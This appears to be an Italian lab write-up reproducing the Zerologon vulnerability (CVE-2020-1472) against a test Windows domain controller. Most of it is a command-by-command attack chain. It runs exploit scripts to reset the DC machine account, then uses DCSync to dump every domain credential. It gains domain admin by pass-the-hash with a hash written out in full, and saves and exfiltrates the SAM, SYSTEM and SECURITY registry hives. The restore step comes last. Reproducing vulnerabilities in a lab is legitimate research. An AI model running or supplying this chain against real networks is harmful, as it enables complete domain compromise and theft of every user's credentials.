
cve-2020-1472 riproduzione, sfruttamento e relativo exploit
Riproduzione di questa vulnerabilità in un ambiente di dominio Windows tramite il proxy proxychains su macOS.
DC (controller di dominio principale):

Domain User (host membro del dominio):
Impostazione del proxy SOCKS5 diretto tramite gost.

Attack Hacker (macchina attaccante):
Configurazione di proxychains4
vim /Users/xq17/.proxychains/proxychains.conf
Aggiungi la lista ProxyList
[ProxyList] socks5 10.211.55.42 8099
Attack Tools (strumenti di attacco):
1.git clone https://github.com/mstxq17/cve-2020-1472.git
2.pip3 install -r requirements.txt
Se durante l'esecuzione compare questo errore:

significa che c'è un problema con il modulo impacket; prova a disinstallare il modulo impacket e installa l'ultima versione da GitHub.
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket && pip3 install .
In questo modo il problema si risolve.
Strumento in versione C#: https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon
In locale, prova prima a usare la password del domain controller per esportare l'hash dell'account macchina del dominio, così da poterlo confrontare con quello modificato successivamente.
proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user "DC$"
oppure rimuovi le virgolette, ma tieni presente che in Linux il simbolo $ indica una variabile, quindi ricordati di eseguirne l'escape.
proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user DC\$

Usa zerologon_tester.py per verificare se la vulnerabilità è presente.
python3 zerologon_tester.py DC 10.211.55.38

Se viene restituito "Success", la vulnerabilità è presente.
Usa cve-2020-1472-exploit.py per reimpostare l'account macchina
python3 cve-2020-1472-exploit.py dc$ 10.211.55.38


L'account macchina del domain controller può utilizzare DCSync per esportare tutte le credenziali degli utenti del dominio.
Principio:
Sfrutta il protocollo DRS (Directory Replication Service, servizio di replica della directory) per copiare le credenziali degli utenti dal domain controller tramite IDL_DRSGetNCChanges.
proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass

Ripristina la password dell'account macchina DC$ Tramite
proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass -just-dc | grep 'Administrator'
ottieni l'hash dell'amministratore di dominio.


Quindi, tramite wmic e pass-the-hash, ottieni i privilegi di amministratore locale (amministratore di dominio) sul domain controller.
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/[email protected]
Poi esegui rispettivamente i seguenti comandi per copiare il database SAM locale sul Mac:
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
Estrai l'hex della password in chiaro dell'account macchina.

Infine esegui:
proxychains4 python3 restorepassword.py DC@DC -target-ip 10.211.55.38 -hexpass 87e2812ccea41210c80e298c9e2a43a249d6a4056027787774340fbfd4b5f969563803b0f1bae7ccd24b29b41ae611025f1952793562d73e7f4e0f8938b3361332b35dd5ee22785b79b922149db32dc5c9301f4fd9fd090f532575bf5197a9c9230955bfd96ab928ae66b3999730c75b8545e26770816f21f2dbf9dbb19432211a91224c4c618507f7091ae09435a13a04bad5f056e72d34a96f67fa33d50e7596eca7709f398d98ba9e07407d7b2e4b937e40d1bf5ff0eb2240bdf0e8287e26ea5f8e69219fa7b1c5aa0e0bd8b992a176c32b0efb914fa6c1e53d69179110b02dfc1b1a0e53b445b92588420af18960

Si può notare che le informazioni sono state ripristinate completamente.
In ambiente a dominio singolo:
Può funzionare perfettamente; dopo il riavvio del domain controller non ci sono anomalie, ma il DNS sulle macchine membro del dominio può dare problemi, senza compromettere l'autenticazione.

Dopo il ripristino della password:

In ambiente a due domini, con un DC principale e un DC01 di backup:

Ottenendo inizialmente gli hash delle macchine dei due domain controller, si scopre che non sono uguali.

Provando ad attaccare il domain controller secondario, non si è riscontrato alcun impatto sul domain controller principale; si nota anche che i dati di ntdis.dist vengono sincronizzati.
